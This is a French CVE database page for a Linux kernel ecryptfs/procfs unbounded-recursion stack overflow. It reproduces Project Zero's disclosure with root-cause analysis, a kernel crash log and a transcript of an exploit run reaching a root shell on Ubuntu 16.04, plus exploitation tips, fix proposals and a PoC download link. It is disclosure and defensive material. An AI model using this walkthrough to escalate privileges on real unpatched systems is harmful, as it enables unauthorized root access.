Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Metrics
Metric |
Score |
Sévérité |
CVSS Vecteur |
Source |
V3.1 |
7.8 |
HIGH |
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack VectorThis metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack ComplexityThis metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges RequiredThis metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User InteractionThis metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. ScopeFormally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality ImpactThis metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity ImpactThis metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability ImpactThis metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 39992
Date de publication : 2016-06-20 22:00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=836
Stacking filesystems, including ecryptfs, protect themselves against
deep nesting, which would lead to kernel stack overflow, by tracking
the recursion depth of filesystems. E.g. in ecryptfs, this is
implemented in ecryptfs_mount() as follows:
s->s_stack_depth = path.dentry->d_sb->s_stack_depth + 1;
rc = -EINVAL;
if (s->s_stack_depth > FILESYSTEM_MAX_STACK_DEPTH) {
pr_err("eCryptfs: maximum fs stacking depth exceeded\n");
goto out_free;
}
The files /proc/$pid/{mem,environ,cmdline}, when read, access the
userspace memory of the target process, involving, if necessary,
normal pagefault handling. If it was possible to mmap() them, an
attacker could create a chain of e.g. /proc/$pid/environ mappings
where process 1 has /proc/2/environ mapped into its environment area,
process 2 has /proc/3/environ mapped into its environment area and so
on. A read from /proc/1/environ would invoke the pagefault handler for
process 1, which would invoke the pagefault handler for process 2 and
so on. This would, again, lead to kernel stack overflow.
One interesting fact about ecryptfs is that, because of the encryption
involved, it doesn't just forward mmap to the lower file's mmap
operation. Instead, it has its own page cache, maintained using the
normal filemap helpers, and performs its cryptographic operations when
dirty pages need to be written out or when pages need to be faulted
in. Therefore, not just its read and write handlers, but also its mmap
handler only uses the lower filesystem's read and write methods.
This means that using ecryptfs, you can mmap [decrypted views of]
files that normally wouldn't be mappable.
Combining these things, it is possible to trigger recursion with
arbitrary depth where:
a reading userspace memory access in process A (from userland or from
copy_from_user())
causes a pagefault in an ecryptfs mapping in process A, which
causes a read from /proc/{B}/environ, which
causes a pagefault in an ecryptfs mapping in process B, which
causes a read from /proc/{C}/environ, which
causes a pagefault in an ecryptfs mapping in process C, and so on.
On systems with the /sbin/mount.ecryptfs_private helper installed
(e.g. Ubuntu if the "encrypt my home directory" checkbox is ticked
during installation), this bug can be triggered by an unprivileged
user. The mount helper considers /proc/$pid, where $pid is the PID of
a process owned by the user, to be a valid mount source because the
directory is "owned" by the user.
I have attached both a generic crash PoC and a build-specific exploit
that can be used to gain root privileges from a normal user account on
Ubuntu 16.04 with kernel package linux-image-4.4.0-22-generic, version
4.4.0-22.40, uname "Linux user-VirtualBox 4.4.0-22-generic #40-Ubuntu
SMP Thu May 12 22:03:46 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux".
dmesg output of the crasher:
```
[ 80.036069] BUG: unable to handle kernel paging request at fffffffe4b9145c0
[ 80.040028] IP: [<ffffffff810c9a33>] cpuacct_charge+0x23/0x40
[ 80.040028] PGD 1e0d067 PUD 0
[ 80.040028] Thread overran stack, or stack corrupted
[ 80.040028] Oops: 0000 [#1] SMP
[ 80.040028] Modules linked in: vboxsf drbg ansi_cprng xts gf128mul dm_crypt snd_intel8x0 snd_ac97_codec ac97_bus snd_pcm snd_seq_midi snd_seq_midi_event snd_rawmidi vboxvideo snd_seq ttm snd_seq_device drm_kms_helper snd_timer joydev drm snd fb_sys_fops soundcore syscopyarea sysfillrect sysimgblt vboxguest input_leds i2c_piix4 8250_fintek mac_hid serio_raw parport_pc ppdev lp parport autofs4 hid_generic usbhid hid psmouse ahci libahci e1000 pata_acpi fjes video
[ 80.040028] CPU: 0 PID: 2135 Comm: crasher Not tainted 4.4.0-22-generic #40-Ubuntu
[ 80.040028] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 12/01/2006
[ 80.040028] task: ffff880035443200 ti: ffff8800d933c000 task.ti: ffff8800d933c000
[ 80.040028] RIP: 0010:[<ffffffff810c9a33>] [<ffffffff810c9a33>] cpuacct_charge+0x23/0x40
[ 80.040028] RSP: 0000:ffff88021fc03d70 EFLAGS: 00010046
[ 80.040028] RAX: 000000000000dc68 RBX: ffff880035443260 RCX: ffffffffd933c068
[ 80.040028] RDX: ffffffff81e50560 RSI: 000000000013877a RDI: ffff880035443200
[ 80.040028] RBP: ffff88021fc03d70 R08: 0000000000000000 R09: 0000000000010000
[ 80.040028] R10: 0000000000002d4e R11: 00000000000010ae R12: ffff8802137aa200
[ 80.040028] R13: 000000000013877a R14: ffff880035443200 R15: ffff88021fc0ee68
[ 80.040028] FS: 00007fbd9fadd700(0000) GS:ffff88021fc00000(0000) knlGS:0000000000000000
[ 80.040028] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 80.040028] CR2: fffffffe4b9145c0 CR3: 0000000035415000 CR4: 00000000000006f0
[ 80.040028] Stack:
[ 80.040028] ffff88021fc03db0 ffffffff810b4b83 0000000000016d00 ffff88021fc16d00
[ 80.040028] ffff880035443260 ffff8802137aa200 0000000000000000 ffff88021fc0ee68
[ 80.040028] ffff88021fc03e30 ffffffff810bb414 ffff88021fc03dd0 ffff880035443200
[ 80.040028] Call Trace:
[ 80.040028] <IRQ>
[ 80.040028] [<ffffffff810b4b83>] update_curr+0xe3/0x160
[ 80.040028] [<ffffffff810bb414>] task_tick_fair+0x44/0x8e0
[ 80.040028] [<ffffffff810b1267>] ? sched_clock_local+0x17/0x80
[ 80.040028] [<ffffffff810b146f>] ? sched_clock_cpu+0x7f/0xa0
[ 80.040028] [<ffffffff810ad35c>] scheduler_tick+0x5c/0xd0
[ 80.040028] [<ffffffff810fe560>] ? tick_sched_handle.isra.14+0x60/0x60
[ 80.040028] [<ffffffff810ee961>] update_process_times+0x51/0x60
[ 80.040028] [<ffffffff810fe525>] tick_sched_handle.isra.14+0x25/0x60
[ 80.040028] [<ffffffff810fe59d>] tick_sched_timer+0x3d/0x70
[ 80.040028] [<ffffffff810ef282>] __hrtimer_run_queues+0x102/0x290
[ 80.040028] [<ffffffff810efa48>] hrtimer_interrupt+0xa8/0x1a0
[ 80.040028] [<ffffffff81052fa8>] local_apic_timer_interrupt+0x38/0x60
[ 80.040028] [<ffffffff81827d9d>] smp_apic_timer_interrupt+0x3d/0x50
[ 80.040028] [<ffffffff81826062>] apic_timer_interrupt+0x82/0x90
[ 80.040028] <EOI>
[ 80.040028] Code: 0f 1f 84 00 00 00 00 00 66 66 66 66 90 48 8b 47 08 48 8b 97 78 07 00 00 55 48 63 48 10 48 8b 52 60 48 89 e5 48 8b 82 b8 00 00 00 <48> 03 04 cd 80 42 f3 81 48 01 30 48 8b 52 48 48 85 d2 75 e5 5d
[ 80.040028] RIP [<ffffffff810c9a33>] cpuacct_charge+0x23/0x40
[ 80.040028] RSP <ffff88021fc03d70>
[ 80.040028] CR2: fffffffe4b9145c0
[ 80.040028] fbcon_switch: detected unhandled fb_set_par error, error code -16
[ 80.040028] fbcon_switch: detected unhandled fb_set_par error, error code -16
[ 80.040028] ---[ end trace 616e3de50958c35b ]---
[ 80.040028] Kernel panic - not syncing: Fatal exception in interrupt
[ 80.040028] Shutting down cpus with NMI
[ 80.040028] Kernel Offset: disabled
[ 80.040028] ---[ end Kernel panic - not syncing: Fatal exception in interrupt
```
example run of the exploit, in a VM with 4 cores, with Ubuntu 16.04 installed:
```
user@user-VirtualBox:/media/sf_vm_shared/crypt_endless_recursion/exploit$ ls
compile.sh exploit.c hello.c suidhelper.c
user@user-VirtualBox:/media/sf_vm_shared/crypt_endless_recursion/exploit$ ./compile.sh
user@user-VirtualBox:/media/sf_vm_shared/crypt_endless_recursion/exploit$ ls
compile.sh exploit exploit.c hello hello.c suidhelper suidhelper.c
user@user-VirtualBox:/media/sf_vm_shared/crypt_endless_recursion/exploit$ ./exploit
all spammers ready
recurser parent ready
spam over
fault chain set up, faulting now
writing stackframes
stackframes written
killing 2494
post-corruption code is alive!
children should be dead
coredump handler set. recurser exiting.
going to crash now
suid file detected, launching rootshell...
we have root privs now...
root@user-VirtualBox:/proc# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)
```
(If the exploit crashes even with the right kernel version, try
restarting the machine. Also, ensure that no program like top/htop/...
is running that might try to read process command lines. Note that
the PoC and the exploit don't really clean up after themselves and
leave mountpoints behind that prevent them from re-running without
a reboot or manual unmounting.)
Note that Ubuntu compiled their kernel with
CONFIG_SCHED_STACK_END_CHECK turned on, making it harder than it used
to be in the past to not crash the kernel while exploiting this bug,
and an overwrite of addr_limit would be useless because at the
time the thread_info is overwritten, there are multiple instances of
kernel_read() on the stack. Still, the bug is exploitable by carefully
aligning the stack so that the vital components of thread_info are
preserved, stopping with an out-of-bounds stack pointer and
overwriting the thread stack using a normal write to an adjacent
allocation of the buddy allocator.
Regarding the fix, I think the following would be reasonable:
- Explicitly forbid stacking anything on top of procfs by setting its
s_stack_depth to a sufficiently large value. In my opinion, there
is too much magic going on inside procfs to allow stacking things
on top of it, and there isn't any good reason to do it. (For
example, ecryptfs invokes open handlers from a kernel thread
instead of normal user process context, so the access checks inside
VFS open handlers are probably ineffective - and procfs relies
heavily on those.)
- Forbid opening files with f_op->mmap==NULL through ecryptfs. If the
lower filesystem doesn't expect to be called in pagefault-handling
context, it probably shouldn't be called in that context.
- Create a dedicated kernel stack cache outside of the direct mapping
of physical memory that has a guard page (or a multi-page gap) at
the bottom of each stack, and move the struct thread_info to a
different place (if nothing else works, the top of the stack, above
the pt_regs).
While e.g. race conditions are more common than stack overflows in
the Linux kernel, the whole vulnerability class of stack overflows
is easy to mitigate, and the kernel is sufficiently complicated for
unbounded recursion to emerge in unexpected places - or perhaps
even for someone to discover a way to create a stack with a bounded
length that is still too high. Therefore, I believe that guard
pages are a useful mitigation.
Nearly everywhere, stack overflows are caught using guard pages
nowadays; this includes Linux userland, but also {### TODO ###}
and, on 64-bit systems, grsecurity (using GRKERNSEC_KSTACKOVERFLOW).
Oh, and by the way: The `BUG_ON(task_stack_end_corrupted(prev))`
in schedule_debug() ought to be a direct panic instead of an oops. At
the moment, when you hit it, you get a recursion between the scheduler
invocation in do_exit() and the BUG_ON in the scheduler, and the
kernel recurses down the stack until it hits something sufficiently
important to cause a panic.
I'm going to send (compile-tested) patches for my first two fix
suggestions and the recursive oops bug. I haven't written a patch for
the guard pages mitigation - I'm not familiar enough with the x86
subsystem for that.
Notes regarding the exploit:
It makes an invalid assumption that causes it to require at least around 6GB of RAM.
It has a trivially avoidable race that causes it to fail on single-core systems after overwriting the coredump handler; if this happens, it's still possible to manually trigger a coredump and execute the suid helper to get a root shell.
The page spraying is pretty primitive and racy; while it works reliably for me, there might be influencing factors that cause it to fail on other people's machines.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39992.zip
Products Mentioned
Configuraton 0
Linux>>Linux_kernel >> Version From (including) 2.6.19 To (excluding) 3.18.54
Linux>>Linux_kernel >> Version From (including) 3.19 To (excluding) 4.4.14
Linux>>Linux_kernel >> Version From (including) 4.5 To (excluding) 4.6.3
Configuraton 0
Novell>>Suse_linux_enterprise_software_development_kit >> Version 11.0
- Novell>>Suse_linux_enterprise_software_development_kit >> Version 11.0 (Open CPE detail)
Novell>>Suse_linux_enterprise_software_development_kit >> Version 12.0
- Novell>>Suse_linux_enterprise_software_development_kit >> Version 12.0 (Open CPE detail)
- Novell>>Suse_linux_enterprise_software_development_kit >> Version 12.0 (Open CPE detail)
- Novell>>Suse_linux_enterprise_software_development_kit >> Version 12.0 (Open CPE detail)
- Novell>>Suse_linux_enterprise_software_development_kit >> Version 12.0 (Open CPE detail)
- Novell>>Suse_linux_enterprise_software_development_kit >> Version 12.0 (Open CPE detail)
- Novell>>Suse_linux_enterprise_software_development_kit >> Version 12.0 (Open CPE detail)
Novell>>Suse_linux_enterprise_software_development_kit >> Version 12.0
- Novell>>Suse_linux_enterprise_software_development_kit >> Version 12.0 (Open CPE detail)
Novell>>Suse_linux_enterprise_debuginfo >> Version 11.0
Novell>>Suse_linux_enterprise_desktop >> Version 12.0
Novell>>Suse_linux_enterprise_desktop >> Version 12.0
Novell>>Suse_linux_enterprise_live_patching >> Version 12.0
Novell>>Suse_linux_enterprise_module_for_public_cloud >> Version 12
Novell>>Suse_linux_enterprise_server >> Version 11.0
Novell>>Suse_linux_enterprise_server >> Version 11.0
Novell>>Suse_linux_enterprise_server >> Version 12.0
Novell>>Suse_linux_enterprise_server >> Version 12.0
Novell>>Suse_linux_enterprise_workstation_extension >> Version 12.0
- Novell>>Suse_linux_enterprise_workstation_extension >> Version 12.0 (Open CPE detail)
Novell>>Suse_linux_enterprise_workstation_extension >> Version 12.0
- Novell>>Suse_linux_enterprise_workstation_extension >> Version 12.0 (Open CPE detail)
Configuraton 0
Canonical>>Ubuntu_linux >> Version 12.04
Canonical>>Ubuntu_linux >> Version 14.04
Canonical>>Ubuntu_linux >> Version 15.10
Canonical>>Ubuntu_linux >> Version 16.04
Configuraton 0
Debian>>Debian_linux >> Version 8.0
References